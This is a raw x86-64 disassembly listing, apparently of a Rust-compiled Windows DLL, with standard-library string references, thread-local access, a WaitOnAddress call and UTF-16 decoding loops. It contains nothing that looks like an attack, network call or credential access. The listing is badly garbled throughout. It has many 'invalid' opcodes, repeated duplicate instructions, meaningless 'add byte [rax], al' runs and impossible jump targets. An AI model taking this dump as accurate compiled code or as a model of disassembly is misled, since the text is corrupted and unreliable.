je 0x1800465fb
cmp r10d, 0x16
jne 0x180046624
cmp r9d, 0x1680
sete r9b
jmp 0x1800464f8
cmp r10d, 0x20
je 0x1800464e8
cmp r10d, 0x30
jne 0x180046624
cmp r9d, 0x3000
sete r9b
jmp 0x1800464f8
movzx r9d, r9b
movzx r9d, byte [r9 + rdx]
jmp 0x1800464f4
xor eax, eax
mov qword [rsi], r14
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rax
add rsp, 0x10d0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
sub rax, rbx
cmp rcx, rax
jae 0x180046631
mov rax, rcx
jmp 0x18004660b
test rax, rax
je 0x18004660b
cmp rcx, rax
jbe 0x18004660b
cmp byte [rbx + rax], 0xbf
jg 0x18004660b
mov qword [rbp + 0x1008], r14
mov qword [rbp + 0x1010], rbx
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len__rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_src_string.rs
lea r8, [0x18007c4b0]
mov edx, 0x30
call fcn.180069820
ud2
lea rax, str.library_std_src_syspalwindowsos.rs
mov edx, 0x800
mov rcx, r8
mov r8, rax
call fcn.180069810
int3
insb byte [rdi], dx
and al, 0x30
mov qword [rbp - 8], 0xfffffffffffffffe
mov esi, edx
mov rbx, rcx
mov ebx, ecx
clc
invalid
invalid
mov ebx, ecx
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
add al, 0xc1
ror dword [rdi], 0xb6
sbb byte [rax - 0x7d000000], 0xf8
add byte [rbx + 0x487401f8], al
test eax, eax
invalid
test dword [rsi], ebx
movzx eax, byte [rax + 0x98]
cmp eax, 1
je case.0x18000b703.930
add byte [rbx + 0x487401f8], al
test eax, eax
jne 0x180046a31
add byte [rax], al
add byte [rax], al
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0x90]
mov byte [rax + 0x48000000], dl
lea edx, [0x180044a40]
mov byte [rax + 0x48000000], dl
lea edx, [0x180044a40]
call fcn.180044a80
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
dec dword [rbx + 0x449c505]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x98], 1
cwde
add byte [rax], al
add byte [rcx], al
cwde
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x18008b304]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0x90]
nop
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rbp + 0x1f]
invalid
nop
add byte [rax], al
add byte [rax - 0x7b], cl
push qword [rbp + 0x1f]
invalid
invalid
call fcn.18006a350
mov eax, dword [0x18008b304]
add eax, 0x44987
add eax, 0x44987
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rdi, qword [rax + 0x90]
mov eax, 0x90
mov eax, 0x90
lock inc qword [rdi]
jle 0x180046a49
invalid
scasb al, byte [rdi]
add byte [rax], al
invalid
invalid
mov gs, word [rsi + 0x48000000]
test rdi, rdi
test edi, edi
je 0x180046a31
lock dec byte [rdi + 0x30]
je 0x180046a0d
lea r14, [rdi + 0x30]
mov ecx, 0x3e8
add eax, dword [rax]
add byte [rax - 0x77], cl
fmul dword [rax - 9]
mul ecx
add eax, dword [rax]
add byte [rax - 0x77], cl
fmul dword [rax - 9]
mul ecx
invalid
mul ecx
mov r9d, 0xffffffff
mov ecx, 0xffffffff
jo 0x1800469f2
mov ecx, esi
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
shr rcx, 0x32
shr ecx, 0x32
add rax, rcx
jb 0x1800469f2
imul ecx, ecx, 0xf4240
xor edx, edx
sub esi, ecx
setne dl
add rax, rdx
sal byte [rdx + 0xd], 1
sal byte [rdx + 0xd], 1
or eax, 0xffffb941
invalid
mov r9d, 0xffffffff
cmp rax, r9
cmovb r9, rax
lea rdx, [0x18007e7b0]
mov r8d, 1
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WaitOnAddress]
xor eax, eax
xchg byte [r14], al
invalid
invalid
lock dec qword [rdi]
jne 0x180046a25
invalid
adc cl, byte [rax - 0x77]
stc
mov rcx, rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.180044bf0
loope 0x180046a23
invalid
loope 0x180046a23
invalid
call qword [rax + 0x30c48348]
nop
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
add eax, dword [rax]
lea r8, [0x18007c7f8]
add eax, dword [rax]
mov edx, 0x5e
call fcn.180069bd0
add byte [rax], al
add al, ch
xchg dword [rcx], esi
add al, byte [rax]
ud2
mov dword [rsp + 0x10], edx
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x30]
call fcn.180044c50
int3
mov qword [rbp - 8], rdx
mov qword [rbp - 0x18], 1
add byte [rax], al
add byte [rax], al
jmp 0x180046a99
call 0x180046a9b
lea rcx, [rbp - 0x18]
call fcn.180043a60
nop
add rsp, 0x40
call qword [rax + 0x40c48348]
pop rbp
ret
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
mov esi, edx
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
mov esi, edx
mov esi, edx
mov rdi, rcx
mov rax, qword [rcx]
cmp rax, 2
clc
add dh, byte [rbp + 0x7d]
clc
add dh, byte [rbp + 0x7d]
mov rbx, qword [rdi + 0x48]
test rbx, rbx
je 0x180046ce1
mov rdi, qword [rdi + 0x40]
lea r14, [rbp + 8]
nop
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.180025d80
cmp qword [rbp + 8], 0
je 0x180046cc9
mov r12, qword [rbp + 0x10]
movzx r15d, byte [rbp + 0x18]
movzx r13d, byte [rbp + 0x19]
mov r8d, 3
mov rcx, rsi
lea rdx, [0x18007d598]
call fcn.1800217c0
test al, al
jne 0x180046cdd
test r15b, 1
je 0x180046ce1
add r12, r13
cmp rbx, r12
jb 0x180046cf7
add rdi, r12
sub rbx, r12
jne 0x180046af0
jmp 0x180046ce1
test rax, rax
je 0x180046bd0
lea rax, [rdi + 8]
test byte [rsi + 0x34], 4
mov qword [rbp + 0x40], rax
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0xf4240
mov qword [rbp], rsi
lea rax, [rbp + 0x40]
jne 0x180046bfa
mov qword [rbp - 0x40], rax
lea rax, [0x180042ba0]
mov qword [rbp - 0x38], rax
lea rax, [0x180081490]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], 1
mov qword [rbp + 0x28], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x40]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], 1
add dword [rax], eax
add byte [rax], al
ror byte [r8 - 0x77], 0x45
sbb byte [rax - 0x39], cl
and byte [r9], r8b
add dword [rax], eax
add byte [rax], al
invalid
invalid
add dword [rax], eax
add byte [rax], al
lea rdx, [0x18007af68]
adc eax, 0x343a5
add byte [rax - 0x73], cl
invalid
lea rcx, [rbp - 0x10]
lea r8, [rbp + 8]
lea eax, [rbp + 8]
lea eax, [rbp + 8]
or r9b, r13b
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax], al
invalid
invalid
jmp 0x180046c75
add byte [rax], al
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
mov rbx, qword [rsi + 0x20]
mov ebx, dword [rsi + 0x20]
push rdi
and byte [rbx + rcx*4 + 0x47], cl
sub byte [rax - 0x75], cl
mov ebx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
invalid
invalid
mov ebx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
jo 0x180046bfc
mov rcx, rbx
call rsi
mov ecx, eax
mov al, 1
test cl, cl
je 0x180046cba
invalid
add cl, ch
jmp 0x1c8046bfb
add byte [rax], al
invalid
jmp 0x180046ce3
add byte [rax], al
mov qword [rbp - 0x50], rax
mov r8b, 0x48
mov al, 0x48
lea rax, [0x180042ba0]
lea eax, [0x180042ba0]
dec dword [rax - 0x77]
mov r8d, 0x845c748
add al, byte [rax]
add byte [rax], al
mov qword [rbp - 0x48], rax
mov qword [rbp + 8], 2
mov qword [rbp + 0x18], 2
mov dword [rbp + 0x18], 2
sbb byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x28], 0
invalid
mov eax, 0x20
add al, 0
mov qword [rbp + 0x28], 0
add byte [rax], al
movabs rax, 0x400000020
add byte [rax], al
mov qword [rbp + 0x30], rax
xor r14b, r8b
cmp byte [r11], r8b
mov byte [rbp + 0x38], 3
lea rax, [0x180081490]
mov qword [rbp - 0x40], rax
ror byte [rax - 0x39], 0x45
enter 1, 0
invalid
add byte [rax - 0x77], cl
ror byte [r8 - 0x39], 0x45
ror byte [rax - 0x39], 0x45
ror byte [rax - 0x39], 0x45
mov dword [rbp - 0x38], 1
enter 1, 0
add byte [rax - 0x73], cl
or byte [r8 - 0x77], r9b
or byte [rax - 0x77], cl
add byte [rax], al
lea rax, [rbp + 8]
mov qword [rbp - 0x20], rax
loopne 0x180046c97
mov dword [rbp - 0x18], 1
or byte [rax - 0x77], cl
loopne 0x180046c97
loopne 0x180046c97
mov dword [rbp - 0x18], 1
add byte [rax], al
lea rax, [rbp - 0x50]
mov qword [rbp - 0x30], rax
invalid
mov r8b, 0x48
mov dword [rbp - 0x30], eax
invalid
ror byte [rax - 0x39], 1
fadd dword [r9]
add dword [rax], eax
add byte [rax], al
invalid
invalid
mov qword [rbp - 0x28], 1
add dword [rax], eax
add byte [rax], al
lea rdx, [0x18007af68]
adc eax, 0x342fb
lea rcx, [rbp - 0x10]
lea r8, [rbp - 0x40]
lea eax, [rbp - 0x40]
invalid
lea eax, [rbp - 0x40]
call fcn.180021b20
mov rcx, qword [rbp - 0x10]
test al, al
je 0x180046ca5
std
dec dword [rax - 0x75]
invalid
test rcx, rcx
je 0x180046ca5
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x3492a
add eax, dword [rax]
sub byte [rax - 0x73], r9b
adc eax, 0x3492a
add eax, dword [rax]
add eax, dword [rax]
mov r8d, 0x14
mov eax, 0x14
call qword [rax + 0x18]
test al, al
jne 0x180046cdd
jmp 0x180046cae
test al, al
jne 0x180046cdd
invalid
xor al, 0x48
test ecx, ecx
test rcx, rcx
jne 0x180046d09
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
call rsi
jmp 0x180046ce3
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov rcx, rsi
call fcn.1800217c0
test al, al
je 0x180046ce1
mov al, 1
jmp 0x180046ce3
xor eax, eax
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea r8, str.library_std_src...._backtrace_src_symbolizemod.rs
mov rcx, r12
mov rdx, rbx
call fcn.180069790
lea rax, [0x18007b610]
mov qword [rsp + 0x20], rax
lea rcx, [0x18007b5d4]
lea r9, [0x18007aeb8]
lea r8, [rbp + 8]
mov edx, 0x37
call fcn.180069b20
int3
adc byte [rcx], al
add byte [rax], al
mov r8, rcx
test rdx, rdx
je 0x180046f01
movzx eax, byte [r8]
movzx eax, byte [rax]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete sil
or sil, cl
jmp 0x180046f03
xor esi, esi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x6f], rax
movups xmm0, xmmword [rbp + 0x81]
movups xmm1, xmmword [rbp + 0x91]
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov rdx, r14
mov r8, rbx
call fcn.180047840
movzx edx, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
test dword [rax + 0x4c000000], esp
lea eax, [0x180083190]
add eax, 0x3c23e
add byte [rbp + 0x63], cl
or al, 0x90
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rbx
mov edx, ebx
mov edx, ebx
mov r8, r14
jmp r9
jmp rcx
add rcx, 4
jmp 0x180046f9c
invalid
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x180046f9c
invalid
mov ecx, 6
jmp 0x180046f9c
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
ror dword [rax - 0x7d], 1
invalid
invalid
ror dword [rax - 0x7d], 1
rol dword [rdx], 0xeb
add eax, 0x2b9
add byte [rax - 0x77], cl
fimul dword [rax + 0x29]
retf 0x820f
jmp 0x180046f9c
mov ecx, 2
mov rdx, rbx
sub rdx, rcx
jb 0x18004745b
add rcx, r14
mov r8, rcx
test rdx, rdx
je 0x180046fc5
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x180046fc7
xor eax, eax
mov edx, esi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rbx
movups xmm0, xmmword [rbp + 0x80]
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
mov rcx, qword [rbp + 0xa0]
mov qword [rbp - 0x30], rcx
mov byte [rbp - 0x26], al
mov word [rbp - 0x28], 0x200
lea rsi, [rbp + 0x21]
lea esi, [rbp + 0x21]
lea esi, [rbp + 0x21]
mov bl, 2
xor r14d, r14d
mov rdi, qword [rbp + 0x118]
mov r15, qword [rbp + 0x110]
add byte [rcx - 0x80], al
std
invalid
je 0x180047041
add byte [rcx - 0x80], al
std
invalid
nop dword [rax + rax]
add byte [rax], al
mov rax, qword [rbp + 0x6f]
mov eax, dword [rbp + 0x6f]
mov qword [rbp + 0x9f], rax
mov dword [rbp + 0x9f], eax
movaps xmm0, xmmword [rbp + 0x50]
push rax
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], rdi
mov byte [rbp + 0x20], r13b
mov rax, qword [rbp + 0x9f]
mov qword [rsi + 0x1f], rax
movaps xmm0, xmmword [rbp + 0x80]
movaps xmm1, xmmword [rbp + 0x90]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov r12d, edx
mov byte [rbp + 0x4a], dl
mov byte [rbp + 0x48], r14b
mov byte [rbp + 0x49], bl
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0x10]
call fcn.180047ce0
lea rcx, [rbp + 0xb8]
lea rdx, [rbp - 0x60]
call fcn.180047ce0
movzx eax, byte [rbp + 0xb8]
cmp byte [rbp + 0x80], 0xa
je 0x18004711c
cmp al, 0xa
je 0x180047124
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0xb8]
call fcn.1800480b0
add byte [rax + rax*8 + 0x12a840f], al
add byte [rax], al
add byte [rax + rax*8 + 0x12a840f], al
sub al, byte [rcx]
add byte [rax], al
mov r15, qword [rbp + 0x10]
mov edi, dword [rbp + 0x10]
mov rdi, qword [rbp + 0x18]
movzx r13d, byte [rbp + 0x20]
movups xmm0, xmmword [rsi]
sbb byte [rdi + rcx - 0x4a], al
insd dword [rdi], dx
and byte [rdi], cl
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x60], xmm1
mov rax, qword [rsi + 0x1f]
mov qword [rbp + 0x6f], rax
movzx r14d, byte [rbp + 0x48]
movzx ebx, byte [rbp + 0x49]
movzx edx, byte [rbp + 0x4a]
movzx eax, byte [rsi + 0x2e]
mov byte [rbp + 0x104], al
mov eax, dword [rsi + 0x2a]
sub r9b, byte [rcx + 0x10085]
invalid
sub r9b, byte [rcx + 0x10085]
add byte [rcx - 0x80], al
std
invalid
add byte [rax], al
cmp r13b, 6
jne 0x180047020
or edi, edi
invalid
invalid
or edi, edi
invalid
jmp 0x180047041
invalid
cmp al, 0xa
jne 0x1800471f3
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
outsd dx, dword [rsi]
outsd dx, dword [rsi]
mov rax, qword [rbp + 0x6f]
outsd dx, dword [rsi]
mov qword [rbp - 1], rax
movaps xmm0, xmmword [rbp + 0x50]
sub byte [rbp + 0x50], al
sub byte [rbp + 0x50], al
movaps xmm1, xmmword [rbp + 0x60]
sub byte [rbp + 0x60], cl
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
sub dword [rbp - 0x20], eax
invalid
sub dword [rbp - 0x20], eax
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x108], eax
movzx eax, byte [rbp + 0x104]
mov byte [rbp + 0x10c], al
cmp r12b, 2
je 0x1800471f3
mov rax, qword [rbp - 1]
mov eax, dword [rbp - 1]
mov qword [rbp + 0xb0], rax
mov al, 0
add byte [rax], al
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
invalid
movups xmmword [rbp + 0xa1], xmm1
add byte [rax], al
invalid
add byte [rax], al
movups xmmword [rbp + 0x91], xmm0
adc dword [rbp + 0x91], eax
add byte [rbx + 0x10885], cl
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0xbb], eax
movzx eax, byte [rbp + 0x10c]
mov dh, 0x85
or al, 1
add byte [rax], al
test dword [rax], ecx
add dword [rax], eax
add byte [rcx + 0xbb85], cl
add byte [rdi], cl
mov dh, 0x85
or al, 1
add byte [rax], al
mov byte [rbp + 0xbf], al
mov edi, 0x4c000000
mov dword [rbp + 0x80], edi
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], rdi
add byte [rax], al
mov byte [rbp + 0x90], r13b
add byte [rax], al
add byte [rax + rcx*4 - 0x4b], al
mov byte [rbp + 0xb8], r14b
mov byte [rbp + 0xb9], bl
add byte [rax + rcx*4 - 0x5b], al
invalid
add byte [rax], al
invalid
mov eax, 0x88000000
popfq
mov ecx, 0x44000000
add byte [rax + rcx*4 - 0x5b], al
invalid
add byte [rax], al
invalid
add byte [rax + rcx*4 - 0x5b], al
movsd dword [rdi], dword [rsi]
mov edx, 0x48000000
lea ecx, [rbp + 0x80]
add byte [rax - 0x73], cl
lea eax, [rax - 0x18000000]
lea rcx, [rbp + 0x80]
call case.0x180045d94.433
ror byte [rdi], cl
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
sal byte [rax + riz + 0x49], 0x89
je 0x1800471f3
mov r8, rdx
lea rcx, [rbp + 0x80]
lea ecx, [rbp + 0x80]
mov rdx, rax
test rax, rax
je 0x1800471f3
mov r8, rdx
lea rcx, [rbp + 0x80]
lea ecx, [rbp + 0x80]
lea ecx, [rbp + 0x80]
add byte [rax], al
add byte [rax - 0x77], cl
ret 0x9be8
wait
mov rdx, rax
call fcn.180025d80
cmp qword [rbp + 0x80], 0
je 0x1800473b8
wait
jmp case.0x180045d94.386
mov rax, qword [rbp + 0x110]
test dword [rax], edx
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
invalid
invalid
invalid
mov r8, qword [rbp + 0x118]
test dword [rax], ebx
add dword [rax], eax
add byte [rsi - 0x73], cl
lea r13, [rax + r8]
sbb byte [rcx], al
add byte [rax], al
lea r13, [rax + r8]
mov rax, qword [rbp + 0xf0]
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rsi, qword [rax + 0x28]
xor eax, eax
lea r14, [0x18007d598]
invalid
add eax, dword [rax]
mov r15b, 1
mov bh, 1
invalid
mov bh, 1
cmp rax, r8
je 0x1800473b3
mov rdx, qword [rbp + 0x110]
add rdx, rax
mov rbx, rax
ret
mov r9, rdx
jmp 0x18004725f
ret
add r9, 2
cmp r8, r13
cmovne r8, r9
cmovne eax, ecx
cmovne eax, ecx
rol dword [rcx - 0x46], 2
mov r10d, 2
nop dword [rax]
add byte [rax], al
add byte [rdi], cl
invalid
add rbx, r10
add ebx, edx
mov r9, r8
cmp r8, r13
cmp eax, ebp
cmp eax, ebp
je 0x18004734f
test al, dh
add byte [rax], al
add byte [rbp - 0x73], cl
add byte [rax], al
lea r8, [r9 + 1]
movzx r11d, byte [r9]
movzx ebx, byte [rcx]
add dword [r13 + 0xf], eax
mov dh, 0x19
movzx ebx, byte [rcx]
mov r10d, 1
add dword [rax], eax
add byte [rax], al
invalid
add byte [rbp - 0x7c], al
fstp xword [rcx - 0x22]
test r11b, r11b
jns 0x180047250
cmp r11b, 0xe0
jb case.0x18001e906.870
sti
loopne 0x1800472e9
ret
cmp r11b, 0xed
cmp bl, 0xed
jne 0x1800472aa
cmp r8, r13
je 0x18004734f
add cl, byte [rbp + 0x39]
call 0x180bff6a1
add byte [rax], al
cmp byte [r9 + 1], 0x9f
ja 0x1800472e6
add r9, 3
mov r10d, 3
mov r8, r9
jmp 0x180047250
add r9, 2
cmp r8, r13
rol dword [rdx], 0x4d
cmp eax, ebp
cmove r9, r8
xor r8d, r8d
cmp r9, r13
setne r8b
add r8, r9
mov r10d, 3
add byte [rax], al
add byte [rax], al
cmp r11b, 0xf0
jb 0x180047250
xor r9d, r9d
cmp r8, r13
setne r9b
add r8, r9
mov r10d, 4
jmp 0x180047250
mov r8, rbx
sub r8, rax
jb 0x180047484
cmp rbx, qword [rbp + 0x118]
ja 0x18004746c
mov rdi, qword [rsi + 0x18]
mov r12, rcx
int3
call rdi
test al, al
jne 0x18004737c
int3
mov r8d, 3
mov rcx, r12
mov rdx, r14
call rdi
test al, al
jne 0x18004737c
add rbx, 3
mov rax, rbx
mov r8, qword [rbp + 0x118]
cmp rbx, r8
mov rcx, r12
jbe 0x180047220
mov rdx, r8
lea r8, [0x18007d5d0]
mov rcx, rbx
call fcn.180069790
jmp 0x180047496
invalid
add byte [rbx + rcx*4 - 0x7b], cl
sbb byte [rcx], al
add byte [rax], al
mov r8, qword [rbp + 0x118]
sub r8, rax
mov rdx, qword [rbp + 0x110]
add byte [rax], al
add byte [rax], al
add rdx, rax
test rax, rax
je 0x18004736d
call qword [rsi + 0x18]
jmp 0x180047379
mov rcx, qword [rbp + 0xf0]
call fcn.1800217c0
mov r15d, eax
mov rax, qword [rbp + 0xf8]
shl rax, 1
test rax, rax
je 0x18004739c
invalid
adc dword [rdx + 1], edi
mov edx, 1
mov rcx, qword [rbp + 0x110]
mov ecx, dword [rbp + 0x110]
add al, ch
std
std
call fcn.18001b8e0
std
inc dword [rcx + rcx*4 - 8]
mov eax, r15d
add rsp, 0x1a8
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, r8
jmp 0x180047356
movups xmm0, xmmword [rbp + 0x88]
movups xmmword [rbp - 0x60], xmm0
lea rax, [0x18007d508]
add byte [rax - 0x77], cl
adc byte [r8 - 0x73], r9b
add eax, 0xfffe122b
sub edx, dword [rdx]
invalid
invalid
add byte [rax - 0x77], cl
adc byte [r8 - 0x73], r9b
add eax, 0xfffe122b
sub edx, dword [rdx]
invalid
invalid
sub edx, dword [rdx]
invalid
mov qword [rbp + 0x18], rax
sbb byte [r8 - 0x73], r9b
movabs al, byte [0xd8058d4820458948]
and byte [r8 - 0x73], r9b
invalid
invalid
lea rax, [rbp - 0x60]
mov qword [rbp + 0x20], rax
invalid
invalid
and byte [r8 - 0x73], r9b
add eax, 0xfffda6d8
cmpsb byte [rsi], byte [rdi]
std
invalid
lea rax, [0x180021ac0]
cmpsb byte [rsi], byte [rdi]
std
dec dword [rax - 0x77]
sub byte [r8 - 0x73], r9b
lea eax, [0x18007d4e8]
mov qword [rbp + 0x28], rax
lea rax, [0x18007d4e8]
lea eax, [0x18007d4e8]
lea eax, [0x18007d4e8]
cmc
invalid
add eax, dword [rax]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 2
mov byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
test dword [rax + 0x48000000], eax
mov dword [rbp + 0x88], 2
mov byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x2000000], ecx
mov byte [rax], al
add byte [rax], al
invalid
mov byte [rax], al
add byte [rax], al
add al, byte [rax]
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
test dword [rax], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rbp + 0x10]
invalid
invalid
lea rax, [rbp + 0x10]
mov qword [rbp + 0x90], rax
mov dword [rbp + 0x90], eax
adc byte [rax - 0x77], cl
mov dword [rbp + 0x90], eax
test dword [rax + 0x48000000], edx
mov dword [rbp + 0x98], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
mov qword [rbp + 0x98], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x75], cl
test eax, esi
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xf0]
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
and byte [rax - 0x75], cl
push rax
sub byte [rbp + rcx*4 - 0x7b], cl
lea r8, [rbp + 0x80]
invalid
lea r8, [rbp + 0x80]
call fcn.180021b20
fbld tbyte [rsi + 0x33e9fffd]
invalid
invalid
invalid
fbld tbyte [rsi + 0x33e9fffd]
invalid
and ebx, dword [rbx + rax]
mov rdx, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
call fcn.180069790
jmp 0x180047496
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.180069790
jmp 0x180047496
lea r8, [0x18007d580]
mov rcx, rbx
mov rdx, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
sbb byte [rcx], al
add byte [rax], al
call fcn.180069810
jmp 0x180047496
lea r8, [0x18007d580]
mov rcx, rax
mov rdx, rbx
call fcn.180069a50
ud2
pop rsp
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
invalid
invalid
dec dword [rcx + rcx*4 - 0x3d]
mov rdi, rdx
mov rsi, rcx
test r8, r8
mov qword [rbp - 0x28], rcx
je 0x180047548
invalid
js 0x1800476ac
movzx eax, byte [0x18008b300]
xor ecx, ecx
mov rdx, rbx
call fcn.180059d10
mov dh, 5
invalid
test rax, rax
jne 0x18004754d
invalid
adc bh, byte [rcx + 1]
mov ecx, 1
mov rdx, rbx
call fcn.180069600
add al, byte [rax]
add al, byte [rax]
mov eax, 1
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rax
call 0x1704a3ca1
add byte [rax], al
add byte [rax], al
call 0x1704a3ca1
add byte [rax], al
add byte [rax], al
mov byte [rbp - 8], 1
lea r15, [rdi + rbx*2]
xor esi, esi
lea rbx, [rbp - 0x20]
movabs r12, 0x100000000
test si, si
test esi, esi
jne 0x18004759a
jmp 0x1800475a0
shl r14d, 0x10
shr r14, 0x10
shr esi, 0x10
xor esi, esi
mov rcx, rbx
mov edx, r14d
call fcn.1800488a0
test si, si
je 0x1800475a0
mov r14d, r13d
jmp 0x1800475b1
cmp rdi, r15
je 0x180047680
movzx r14d, word [rdi]
add rdi, 2
invalid
add al, byte [rcx + rcx*4 - 0x10]
mov eax, r14d
and eax, 0xf800
add al, bh
add byte [rax], al
cmp eax, 0xd800
jne 0x180047580
movzx eax, r14w
mov bh, 0xc6
cmp eax, 0xdbff
ja 0x18004760e
cmp rdi, r15
je 0x180047612
movzx eax, word [rdi]
add rdi, 2
mov dword [rdx], 0xc181c189
add byte [rax], ah
add byte [rax], al
mov dword [rdx], 0xc181c189
add byte [rax], ah
add byte [rax], al
movzx ecx, cx
cmp ecx, 0xfc00
jb 0x180047619
movzx eax, ax
and r14d, 0x3ff
and eax, 0x3ff
shl r14, 0x1a
shl eax, 0x10
or rax, r14
add rax, r12
mov r14, rax
jmp 0x180047584
xor esi, esi
jmp 0x180047620
xor esi, esi
mov rdi, r15
jmp 0x180047620
mov si, 1
mov r13d, eax
add byte [rcx - 0x77], al
invalid
mov byte [rbp - 8], 0
mov rax, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
loopne case.0x18000b703.966
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
sub rax, rdx
cmp rax, 2
ja 0x180047647
ror byte [rax - 0x7d], 1
clc
add dh, byte [rdi + 0x12]
mov r8d, 3
add eax, dword [rax]
add byte [rax], al
mov rcx, rbx
call fcn.18006a4d0
add al, byte [rax]
add al, byte [rax]
mov rdx, qword [rbp - 0x10]
mov eax, r14d
shr eax, 6
